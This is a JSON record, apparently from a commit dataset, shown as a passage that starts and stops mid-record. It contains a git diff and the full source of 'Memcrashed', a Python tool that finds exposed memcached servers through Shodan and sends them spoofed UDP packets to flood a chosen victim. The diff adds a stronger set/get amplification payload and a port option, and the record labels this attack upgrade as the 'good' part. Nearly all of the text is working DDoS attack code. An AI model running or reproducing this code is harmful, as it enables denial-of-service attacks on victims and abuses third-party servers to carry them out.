I\nmight have made in this version. I'll be more than happy to merge your\nfixes.", "sha": "caeeef086923f4024b959c416a57d565a7427a78", "keyword": "command injection issue", "diff": "diff --git a/Memcrashed.py b/Memcrashed.py\nindex 591b177..bf89a6e 100644\n--- a/Memcrashed.py\n+++ b/Memcrashed.py\n@@ -27,7 +27,7 @@ class color:\n \u255a\u2550\u255d \u255a\u2550\u255d\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u255d\u255a\u2550\u255d \u255a\u2550\u255d \u255a\u2550\u2550\u2550\u2550\u2550\u255d\u255a\u2550\u255d \u255a\u2550\u255d\u255a\u2550\u255d \u255a\u2550\u255d\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u255d\u255a\u2550\u255d \u255a\u2550\u255d\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u255d\u255a\u2550\u2550\u2550\u2550\u2550\u255d \n \n Author: @037\n- Version: 3.2\n+ Version: 4.0\n \n ####################################### DISCLAIMER ########################################\n | Memcrashed is a tool that allows you to use Shodan.io to obtain hundreds of vulnerable |\n@@ -84,8 +84,15 @@ class color:\n if saveme.startswith('y') or query.startswith('y'):\n print('')\n target = input(\"[\u25b8] Enter target IP address: \")\n+ targetport = input(\"[\u25b8] Enter target port number (Default 80): \") or \"80\"\n power = int(input(\"[\u25b8] Enter preferred power (Default 1): \") or \"1\")\n- data = input(\"[\u25b8] Enter payload contained inside packet: \") or \"\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00stats\\r\\n\"\n+ print('')\n+ data = input(\"[+] Enter payload contained inside packet: \") or \"\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00stats\\r\\n\"\n+ if (data != \"\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00stats\\r\\n\"):\n+ dataset = \"set injected 0 3600 \", len(data)+1, \"\\r\\n\", data, \"\\r\\n get injected\\r\\n\"\n+ setdata = (\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00set\\x00injected\\x000\\x003600\\x00%s\\r\\n%s\\r\\n\" % (len(data)+1, data))\n+ getdata = (\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00get\\x00injected\\r\\n\")\n+ print(\"[+] Payload transformed: \", dataset)\n print('')\n if query.startswith('y'):\n iplist = input('[*] Would you like to display all the bots from Shodan? : ').lower()\n@@ -112,24 +119,36 @@ class color:\n if engage.startswith('y'):\n if saveme.startswith('y'):\n for i in ip_array:\n- if power>1:\n- print('[+] Sending %d forged UDP packets to: %s' % (power, i))\n- with suppress_stdout():\n- send(IP(src=target, dst='%s' % i) / UDP(dport=11211)/Raw(load=data), count=power)\n- elif power==1:\n- print('[+] Sending 1 forged UDP packet to: %s' % i)\n+ if (data != \"\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00stats\\r\\n\"):\n+ print('[+] Sending 2 forged synchronized payloads to: %s' % (i))\n with suppress_stdout():\n- send(IP(src=target, dst='%s' % i) / UDP(dport=11211)/Raw(load=data), count=power)\n+ send(IP(src=target, dst='%s' % i) / UDP(sport=int(str(targetport)),dport=11211)/Raw(load=setdata), count=1)\n+ send(IP(src=target, dst='%s' % i) / UDP(sport=int(str(targetport)),dport=11211)/Raw(load=getdata), count=power)\n+ else:\n+ if power>1:\n+ print('[+] Sending %d forged UDP packets to: %s' % (power, i))\n+ with suppress_stdout():\n+ send(IP(src=target, dst='%s' % i) / UDP(sport=int(str(targetport)),dport=11211)/Raw(load=data), count=power)\n+ elif power==1:\n+ print('[+] Sending 1 forged UDP packet to: %s' % i)\n+ with suppress_stdout():\n+ send(IP(src=target, dst='%s' % i) / UDP(sport=int(str(targetport)),dport=11211)/Raw(load=data), count=power)\n else:\n for result in results['matches']:\n- if power>1:\n- print('[+] Sending %d forged UDP packets to: %s' % (power, result['ip_str']))\n- with suppress_stdout():\n- send(IP(src=target, dst='%s' % result['ip_str']) / UDP(dport=11211)/Raw(load=data), count=power)\n- elif power==1:\n- print('[+] Sending 1 forged UDP packet to: %s' % result['ip_str'])\n+ if (data != \"\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00stats\\r\\n\"):\n+ print('[+] Sending 2 forged synchronized payloads to: %s' % (i))\n with suppress_stdout():\n- send(IP(src=target, dst='%s' % result['ip_str']) / UDP(dport=11211)/Raw(load=data), count=power)\n+ send(IP(src=target, dst='%s' % result['ip_str']) / UDP(sport=int(str(targetport)),dport=11211)/Raw(load=setdata), count=1)\n+ send(IP(src=target, dst='%s' % result['ip_str']) / UDP(sport=int(str(targetport)),dport=11211)/Raw(load=getdata), count=power)\n+ else:\n+ if power>1:\n+ print('[+] Sending %d forged UDP packets to: %s' % (power, result['ip_str']))\n+ with suppress_stdout():\n+ send(IP(src=target, dst='%s' % result['ip_str']) / UDP(sport=int(str(targetport)),dport=11211)/Raw(load=data), count=power)\n+ elif power==1:\n+ print('[+] Sending 1 forged UDP packet to: %s' % result['ip_str'])\n+ with suppress_stdout():\n+ send(IP(src=target, dst='%s' % result['ip_str']) / UDP(sport=int(str(targetport)),dport=11211)/Raw(load=data), count=power)\n print('')\n print('[\u2022] Task complete! Exiting Platform. Have a wonderful day.')\n break\n", "files": {"/Memcrashed.py": {"changes": [{"diff": "\n \u255a\u2550\u255d \u255a\u2550\u255d\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u255d\u255a\u2550\u255d \u255a\u2550\u255d \u255a\u2550\u2550\u2550\u2550\u2550\u255d\u255a\u2550\u255d \u255a\u2550\u255d\u255a\u2550\u255d \u255a\u2550\u255d\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u255d\u255a\u2550\u255d \u255a\u2550\u255d\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u255d\u255a\u2550\u2550\u2550\u2550\u2550\u255d \n \n Author: @037\n- Version: 3.2\n+ Version: 4.0\n \n ####################################### DISCLAIMER ########################################\n | Memcrashed is a tool that allows you to use Shodan.io to obtain hundreds of vulnerable |\n", "add": 1, "remove": 1, "filename": "/Memcrashed.py", "badparts": [" Version: 3.2"], "goodparts": [" Version: 4.0"]}, {"diff": "\n if saveme.startswith('y') or query.startswith('y'):\n print('')\n target = input(\"[\u25b8] Enter target IP address: \")\n+ targetport = input(\"[\u25b8] Enter target port number (Default 80): \") or \"80\"\n power = int(input(\"[\u25b8] Enter preferred power (Default 1): \") or \"1\")\n- data = input(\"[\u25b8] Enter payload contained inside packet: \") or \"\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00stats\\r\\n\"\n+ print('')\n+ data = input(\"[+] Enter payload contained inside packet: \") or \"\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00stats\\r\\n\"\n+ if (data != \"\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00stats\\r\\n\"):\n+ dataset = \"set injected 0 3600 \", len(data)+1, \"\\r\\n\", data, \"\\r\\n get injected\\r\\n\"\n+ setdata = (\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00set\\x00injected\\x000\\x003600\\x00%s\\r\\n%s\\r\\n\" % (len(data)+1, data))\n+ getdata = (\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00get\\x00injected\\r\\n\")\n+ print(\"[+] Payload transformed: \", dataset)\n print('')\n if query.startswith('y'):\n iplist = input('[*] Would you like to display all the bots from Shodan? : ').lower()\n", "add": 8, "remove": 1, "filename": "/Memcrashed.py", "badparts": [" data = input(\"[\u25b8] Enter payload contained inside packet: \") or \"\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00stats\\r\\n\""], "goodparts": [" targetport = input(\"[\u25b8] Enter target port number (Default 80): \") or \"80\"", " print('')", " data = input(\"[+] Enter payload contained inside packet: \") or \"\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00stats\\r\\n\"", " if (data != \"\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00stats\\r\\n\"):", " dataset = \"set injected 0 3600 \", len(data)+1, \"\\r\\n\", data, \"\\r\\n get injected\\r\\n\"", " setdata = (\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00set\\x00injected\\x000\\x003600\\x00%s\\r\\n%s\\r\\n\" % (len(data)+1, data))", " getdata = (\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00get\\x00injected\\r\\n\")", " print(\"[+] Payload transformed: \", dataset)"]}, {"diff": "\n if engage.startswith('y'):\n if saveme.startswith('y'):\n for i in ip_array:\n- if power>1:\n- print('[+] Sending %d forged UDP packets to: %s' % (power, i))\n- with suppress_stdout():\n- send(IP(src=target, dst='%s' % i) / UDP(dport=11211)/Raw(load=data), count=power)\n- elif power==1:\n- print('[+] Sending 1 forged UDP packet to: %s' % i)\n+ if (data != \"\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00stats\\r\\n\"):\n+ print('[+] Sending 2 forged synchronized payloads to: %s' % (i))\n with suppress_stdout():\n- send(IP(src=target, dst='%s' % i) / UDP(dport=11211)/Raw(load=data), count=power)\n+ send(IP(src=target, dst='%s' % i) / UDP(sport=int(str(targetport)),dport=11211)/Raw(load=setdata), count=1)\n+ send(IP(src=target, dst='%s' % i) / UDP(sport=int(str(targetport)),dport=11211)/Raw(load=getdata), count=power)\n+ else:\n+ if power>1:\n+ print('[+] Sending %d forged UDP packets to: %s' % (power, i))\n+ with suppress_stdout():\n+ send(IP(src=target, dst='%s' % i) / UDP(sport=int(str(targetport)),dport=11211)/Raw(load=data), count=power)\n+ elif power==1:\n+ print('[+] Sending 1 forged UDP packet to: %s' % i)\n+ with suppress_stdout():\n+ send(IP(src=target, dst='%s' % i) / UDP(sport=int(str(targetport)),dport=11211)/Raw(load=data), count=power)\n else:\n for result in results['matches']:\n- if power>1:\n- print('[+] Sending %d forged UDP packets to: %s' % (power, result['ip_str']))\n- with suppress_stdout():\n- send(IP(src=target, dst='%s' % result['ip_str']) / UDP(dport=11211)/Raw(load=data), count=power)\n- elif power==1:\n- print('[+] Sending 1 forged UDP packet to: %s' % result['ip_str'])\n+ if (data != \"\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00stats\\r\\n\"):\n+ print('[+] Sending 2 forged synchronized payloads to: %s' % (i))\n with suppress_stdout():\n- send(IP(src=target, dst='%s' % result['ip_str']) / UDP(dport=11211)/Raw(load=data), count=power)\n+ send(IP(src=target, dst='%s' % result['ip_str']) / UDP(sport=int(str(targetport)),dport=11211)/Raw(load=setdata), count=1)\n+ send(IP(src=target, dst='%s' % result['ip_str']) / UDP(sport=int(str(targetport)),dport=11211)/Raw(load=getdata), count=power)\n+ else:\n+ if power>1:\n+ print('[+] Sending %d forged UDP packets to: %s' % (power, result['ip_str']))\n+ with suppress_stdout():\n+ send(IP(src=target, dst='%s' % result['ip_str']) / UDP(sport=int(str(targetport)),dport=11211)/Raw(load=data), count=power)\n+ elif power==1:\n+ print('[+] Sending 1 forged UDP packet to: %s' % result['ip_str'])\n+ with suppress_stdout():\n+ send(IP(src=target, dst='%s' % result['ip_str']) / UDP(sport=int(str(targetport)),dport=11211)/Raw(load=data), count=power)\n print('')\n print('[\u2022] Task complete! Exiting Platform. Have a wonderful day.')\n break\n", "add": 26, "remove": 14, "filename": "/Memcrashed.py", "badparts": [" if power>1:", " print('[+] Sending %d forged UDP packets to: %s' % (power, i))", " with suppress_stdout():", " send(IP(src=target, dst='%s' % i) / UDP(dport=11211)/Raw(load=data), count=power)", " elif power==1:", " print('[+] Sending 1 forged UDP packet to: %s' % i)", " send(IP(src=target, dst='%s' % i) / UDP(dport=11211)/Raw(load=data), count=power)", " if power>1:", " print('[+] Sending %d forged UDP packets to: %s' % (power, result['ip_str']))", " with suppress_stdout():", " send(IP(src=target, dst='%s' % result['ip_str']) / UDP(dport=11211)/Raw(load=data), count=power)", " elif power==1:", " print('[+] Sending 1 forged UDP packet to: %s' % result['ip_str'])", " send(IP(src=target, dst='%s' % result['ip_str']) / UDP(dport=11211)/Raw(load=data), count=power)"], "goodparts": [" if (data != \"\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00stats\\r\\n\"):", " print('[+] Sending 2 forged synchronized payloads to: %s' % (i))", " send(IP(src=target, dst='%s' % i) / UDP(sport=int(str(targetport)),dport=11211)/Raw(load=setdata), count=1)", " send(IP(src=target, dst='%s' % i) / UDP(sport=int(str(targetport)),dport=11211)/Raw(load=getdata), count=power)", " else:", " if power>1:", " print('[+] Sending %d forged UDP packets to: %s' % (power, i))", " with suppress_stdout():", " send(IP(src=target, dst='%s' % i) / UDP(sport=int(str(targetport)),dport=11211)/Raw(load=data), count=power)", " elif power==1:", " print('[+] Sending 1 forged UDP packet to: %s' % i)", " with suppress_stdout():", " send(IP(src=target, dst='%s' % i) / UDP(sport=int(str(targetport)),dport=11211)/Raw(load=data), count=power)", " if (data != \"\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00stats\\r\\n\"):", " print('[+] Sending 2 forged synchronized payloads to: %s' % (i))", " send(IP(src=target, dst='%s' % result['ip_str']) / UDP(sport=int(str(targetport)),dport=11211)/Raw(load=setdata), count=1)", " send(IP(src=target, dst='%s' % result['ip_str']) / UDP(sport=int(str(targetport)),dport=11211)/Raw(load=getdata), count=power)", " else:", " if power>1:", " print('[+] Sending %d forged UDP packets to: %s' % (power, result['ip_str']))", " with suppress_stdout():", " send(IP(src=target, dst='%s' % result['ip_str']) / UDP(sport=int(str(targetport)),dport=11211)/Raw(load=data), count=power)", " elif power==1:", " print('[+] Sending 1 forged UDP packet to: %s' % result['ip_str'])", " with suppress_stdout():", " send(IP(src=target, dst='%s' % result['ip_str']) / UDP(sport=int(str(targetport)),dport=11211)/Raw(load=data), count=power)"]}], "source": "\n import sys, os, time, shodan from pathlib import Path from scapy.all import * from contextlib import contextmanager, redirect_stdout starttime=time.time() @contextmanager def suppress_stdout(): with open(os.devnull, \"w\") as devnull: with redirect_stdout(devnull): yield class color: HEADER='\\033[0m' keys=Path(\"./api.txt\") logo=color.HEADER +''' \u2588\u2588\u2588\u2557 \u2588\u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2588\u2557 \u2588\u2588\u2588\u2557 \u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2557 \u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u2550\u2550\u255d\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u2550\u2550\u255d\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2557\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2557\u2588\u2588\u2554\u2550\u2550\u2550\u2550\u255d\u2588\u2588\u2551 \u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u2550\u2550\u255d\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2557 \u2588\u2588\u2554\u2588\u2588\u2588\u2588\u2554\u2588\u2588\u2551\u2588\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2554\u2588\u2588\u2588\u2588\u2554\u2588\u2588\u2551\u2588\u2588\u2551 \u2588\u2588\u2588\u2588\u2588\u2588\u2554\u255d\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2551\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2551\u2588\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2551 \u2588\u2588\u2551 \u2588\u2588\u2551\u255a\u2588\u2588\u2554\u255d\u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u255d \u2588\u2588\u2551\u255a\u2588\u2588\u2554\u255d\u2588\u2588\u2551\u2588\u2588\u2551 \u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2557\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2551\u255a\u2550\u2550\u2550\u2550\u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u255d \u2588\u2588\u2551 \u2588\u2588\u2551 \u2588\u2588\u2551 \u255a\u2550\u255d \u2588\u2588\u2551\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2551 \u255a\u2550\u255d \u2588\u2588\u2551\u255a\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2551 \u2588\u2588\u2551\u2588\u2588\u2551 \u2588\u2588\u2551\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2551\u2588\u2588\u2551 \u2588\u2588\u2551\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2588\u2588\u2554\u255d \u255a\u2550\u255d \u255a\u2550\u255d\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u255d\u255a\u2550\u255d \u255a\u2550\u255d \u255a\u2550\u2550\u2550\u2550\u2550\u255d\u255a\u2550\u255d \u255a\u2550\u255d\u255a\u2550\u255d \u255a\u2550\u255d\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u255d\u255a\u2550\u255d \u255a\u2550\u255d\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u255d\u255a\u2550\u2550\u2550\u2550\u2550\u255d Author: @037 Version: 3.2 | Memcrashed is a tool that allows you to use Shodan.io to obtain hundreds of vulnerable | | memcached servers. It then allows you to use the same servers to launch widespread | | distributed denial of service attacks by forging UDP packets sourced to your victim. | | Default payload includes the memcached \"stats\" command, 10 bytes to send, but the reply | | is between 1,500 bytes up to hundreds of kilobytes. Please use this tool responsibly. | | I am NOT responsible for any damages caused or any crimes committed by using this tool. | ''' print(logo) if keys.is_file(): with open('api.txt', 'r') as file: SHODAN_API_KEY=file.readline().rstrip('\\n') else: file=open('api.txt', 'w') SHODAN_API_KEY=input('[*] Please enter a valid Shodan.io API Key: ') file.write(SHODAN_API_KEY) print('[~] File written:./api.txt') file.close() while True: api=shodan.Shodan(SHODAN_API_KEY) print('') try: myresults=Path(\"./bots.txt\") query=input(\"[*] Use Shodan API to search for affected Memcached servers? : \").lower() if query.startswith('y'): print('') print('[~] Checking Shodan.io API Key: %s' % SHODAN_API_KEY) results=api.search('product:\"Memcached\" port:11211') print('[\u2713] API Key Authentication: SUCCESS') print('[~] Number of bots: %s' % results['total']) print('') saveresult=input(\"[*] Save results for later usage? : \").lower() if saveresult.startswith('y'): file2=open('bots.txt', 'a') for result in results['matches']: file2.write(result['ip_str'] +\"\\n\") print('[~] File written:./bots.txt') print('') file2.close() saveme=input('[*] Would you like to use locally stored Shodan data? : ').lower() if myresults.is_file(): if saveme.startswith('y'): with open('bots.txt') as my_file: ip_array=[line.rstrip() for line in my_file] else: print('') print('[\u2718] Error: No bots stored locally, bots.txt file not found!') print('') if saveme.startswith('y') or query.startswith('y'): print('') target=input(\"[\u25b8] Enter target IP address: \") power=int(input(\"[\u25b8] Enter preferred power(Default 1): \") or \"1\") data=input(\"[\u25b8] Enter payload contained inside packet: \") or \"\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00stats\\r\\n\" print('') if query.startswith('y'): iplist=input('[*] Would you like to display all the bots from Shodan? : ').lower() if iplist.startswith('y'): print('') counter=int(0) for result in results['matches']: host=api.host('%s' % result['ip_str']) counter=counter+1 print('[+] Memcache Server(%d) | IP: %s | OS: %s | ISP: %s |' %(counter, result['ip_str'], host.get('os', 'n/a'), host.get('org', 'n/a'))) time.sleep(1.1 -((time.time() -starttime) % 1.1)) if saveme.startswith('y'): iplistlocal=input('[*] Would you like to display all the bots stored locally? : ').lower() if iplistlocal.startswith('y'): print('') counter=int(0) for x in ip_array: host=api.host('%s' % x) counter=counter+1 print('[+] Memcache Server(%d) | IP: %s | OS: %s | ISP: %s |' %(counter, x, host.get('os', 'n/a'), host.get('org', 'n/a'))) time.sleep(1.1 -((time.time() -starttime) % 1.1)) print('') engage=input('[*] Ready to engage target %s? : ' % target).lower() if engage.startswith('y'): if saveme.startswith('y'): for i in ip_array: if power>1: print('[+] Sending %d forged UDP packets to: %s' %(power, i)) with suppress_stdout(): send(IP(src=target, dst='%s' % i) / UDP(dport=11211)/Raw(load=data), count=power) elif power==1: print('[+] Sending 1 forged UDP packet to: %s' % i) with suppress_stdout(): send(IP(src=target, dst='%s' % i) / UDP(dport=11211)/Raw(load=data), count=power) else: for result in results['matches']: if power>1: print('[+] Sending %d forged UDP packets to: %s' %(power, result['ip_str'])) with suppress_stdout(): send(IP(src=target, dst='%s' % result['ip_str']) / UDP(dport=11211)/Raw(load=data), count=power) elif power==1: print('[+] Sending 1 forged UDP packet to: %s' % result['ip_str']) with suppress_stdout(): send(IP(src=target, dst='%s' % result['ip_str']) / UDP(dport=11211)/Raw(load=data), count=power) print('') print('[\u2022] Task complete! Exiting Platform. Have a wonderful day.') break else: print('') print('[\u2718] Error: %s not engaged!' % target) print('[~] Restarting Platform! Please wait.') print('') else: print('') print('[\u2718] Error: No bots stored locally or remotely on Shodan!') print('[~] Restarting Platform! Please wait.') print('') except shodan.APIError as e: print('[\u2718] Error: %s' % e) option=input('[*] Would you like to change API Key? : ').lower() if option.startswith('y'): file=open('api.txt', 'w') SHODAN_API_KEY=input('[*] Please enter valid Shodan.io API Key: ') file.write(SHODAN_API_KEY) print('[~] File written:./api.txt') file.close() print('[~] Restarting Platform! Please wait.') print('') else: print('') print('[\u2022] Exiting Platform. Have a wonderful day.') break ", "sourceWithComments": "#-- coding: utf8 --\n#!/usr/bin/env python3\nimport sys, os, time, shodan\nfrom pathlib import Path\nfrom scapy.all import *\nfrom contextlib import contextmanager, redirect_stdout\n\nstarttime = time.time()\n\n@contextmanager\ndef suppress_stdout():\n with open(os.devnull, \"w\") as devnull:\n with redirect_stdout(devnull):\n yield\n\nclass color:\n HEADER = '\\033[0m'\n\nkeys = Path(\"./api.txt\")\nlogo = color.HEADER + '''\n\n \u2588\u2588\u2588\u2557 \u2588\u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2588\u2557 \u2588\u2588\u2588\u2557 \u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2557 \u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2588\u2588\u2557 \n \u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u2550\u2550\u255d\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u2550\u2550\u255d\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2557\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2557\u2588\u2588\u2554\u2550\u2550\u2550\u2550\u255d\u2588\u2588\u2551 \u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u2550\u2550\u255d\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2557\n \u2588\u2588\u2554\u2588\u2588\u2588\u2588\u2554\u2588\u2588\u2551\u2588\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2554\u2588\u2588\u2588\u2588\u2554\u2588\u2588\u2551\u2588\u2588\u2551 \u2588\u2588\u2588\u2588\u2588\u2588\u2554\u255d\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2551\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2551\u2588\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2551 \u2588\u2588\u2551\n \u2588\u2588\u2551\u255a\u2588\u2588\u2554\u255d\u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u255d \u2588\u2588\u2551\u255a\u2588\u2588\u2554\u255d\u2588\u2588\u2551\u2588\u2588\u2551 \u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2557\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2551\u255a\u2550\u2550\u2550\u2550\u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u255d \u2588\u2588\u2551 \u2588\u2588\u2551\n \u2588\u2588\u2551 \u255a\u2550\u255d \u2588\u2588\u2551\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2551 \u255a\u2550\u255d \u2588\u2588\u2551\u255a\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2551 \u2588\u2588\u2551\u2588\u2588\u2551 \u2588\u2588\u2551\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2551\u2588\u2588\u2551 \u2588\u2588\u2551\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2588\u2588\u2554\u255d\n \u255a\u2550\u255d \u255a\u2550\u255d\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u255d\u255a\u2550\u255d \u255a\u2550\u255d \u255a\u2550\u2550\u2550\u2550\u2550\u255d\u255a\u2550\u255d \u255a\u2550\u255d\u255a\u2550\u255d \u255a\u2550\u255d\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u255d\u255a\u2550\u255d \u255a\u2550\u255d\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u255d\u255a\u2550\u2550\u2550\u2550\u2550\u255d \n\n Author: @037\n Version: 3.2\n\n####################################### DISCLAIMER ########################################\n| Memcrashed is a tool that allows you to use Shodan.io to obtain hundreds of vulnerable |\n| memcached servers. It then allows you to use the same servers to launch widespread |\n| distributed denial of service attacks by forging UDP packets sourced to your victim. |\n| Default payload includes the memcached \"stats\" command, 10 bytes to send, but the reply |\n| is between 1,500 bytes up to hundreds of kilobytes. Please use this tool responsibly. |\n| I am NOT responsible for any damages caused or any crimes committed by using this tool. |\n###########################################################################################\n \n'''\nprint(logo)\n\nif keys.is_file():\n with open('api.txt', 'r') as file:\n SHODAN_API_KEY=file.readline().rstrip('\\n')\nelse:\n file = open('api.txt', 'w')\n SHODAN_API_KEY = input('[*] Please enter a valid Shodan.io API Key: ')\n file.write(SHODAN_API_KEY)\n print('[~] File written: ./api.txt')\n file.close()\n\nwhile True:\n api = shodan.Shodan(SHODAN_API_KEY)\n print('')\n try:\n myresults = Path(\"./bots.txt\")\n query = input(\"[*] Use Shodan API to search for affected Memcached servers? : \").lower()\n if query.startswith('y'):\n print('')\n print('[~] Checking Shodan.io API Key: %s' % SHODAN_API_KEY)\n results = api.search('product:\"Memcached\" port:11211')\n print('[\u2713] API Key Authentication: SUCCESS')\n print('[~] Number of bots: %s' % results['total'])\n print('')\n saveresult = input(\"[*] Save results for later usage? : \").lower()\n if saveresult.startswith('y'):\n file2 = open('bots.txt', 'a')\n for result in results['matches']:\n file2.write(result['ip_str'] + \"\\n\")\n print('[~] File written: ./bots.txt')\n print('')\n file2.close()\n saveme = input('[*] Would you like to use locally stored Shodan data? : ').lower()\n if myresults.is_file():\n if saveme.startswith('y'):\n with open('bots.txt') as my_file:\n ip_array = [line.rstrip() for line in my_file]\n else:\n print('')\n print('[\u2718] Error: No bots stored locally, bots.txt file not found!')\n print('')\n if saveme.startswith('y') or query.startswith('y'):\n print('')\n target = input(\"[\u25b8] Enter target IP address: \")\n power = int(input(\"[\u25b8] Enter preferred power (Default 1): \") or \"1\")\n data = input(\"[\u25b8] Enter payload contained inside packet: \") or \"\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00stats\\r\\n\"\n print('')\n if query.startswith('y'):\n iplist = input('[*] Would you like to display all the bots from Shodan? : ').lower()\n if iplist.startswith('y'):\n print('')\n counter= int(0)\n for result in results['matches']:\n host = api.host('%s' % result['ip_str'])\n counter=counter+1\n print('[+] Memcache Server (%d) | IP: %s | OS: %s | ISP: %s |' % (counter, result['ip_str'], host.get('os', 'n/a'), host.get('org', 'n/a')))\n time.sleep(1.1 - ((time.time() - starttime) % 1.1))\n if saveme.startswith('y'):\n iplistlocal = input('[*] Would you like to display all the bots stored locally? : ').lower()\n if iplistlocal.startswith('y'):\n print('')\n counter= int(0)\n for x in ip_array:\n host = api.host('%s' % x)\n counter=counter+1\n print('[+] Memcache Server (%d) | IP: %s | OS: %s | ISP: %s |' % (counter, x, host.get('os', 'n/a'), host.get('org', 'n/a')))\n time.sleep(1.1 - ((time.time() - starttime) % 1.1))\n print('')\n engage = input('[*] Ready to engage target %s? : ' % target).lower()\n if engage.startswith('y'):\n if saveme.startswith('y'):\n for i in ip_array:\n if power>1:\n print('[+] Sending %d forged UDP packets to: %s' % (power, i))\n with suppress_stdout():\n send(IP(src=target, dst='%s' % i) / UDP(dport=11211)/Raw(load=data), count=power)\n elif power==1:\n print('[+] Sending 1 forged UDP packet to: %s' % i)\n with suppress_stdout():\n send(IP(src=target, dst='%s' % i) / UDP(dport=11211)/Raw(load=data), count=power)\n else:\n for result in results['matches']:\n if power>1:\n print('[+] Sending %d forged UDP packets to: %s' % (power, result['ip_str']))\n with suppress_stdout():\n send(IP(src=target, dst='%s' % result['ip_str']) / UDP(dport=11211)/Raw(load=data), count=power)\n elif power==1:\n print('[+] Sending 1 forged UDP packet to: %s' % result['ip_str'])\n with suppress_stdout():\n send(IP(src=target, dst='%s' % result['ip_str']) / UDP(dport=11211)/Raw(load=data), 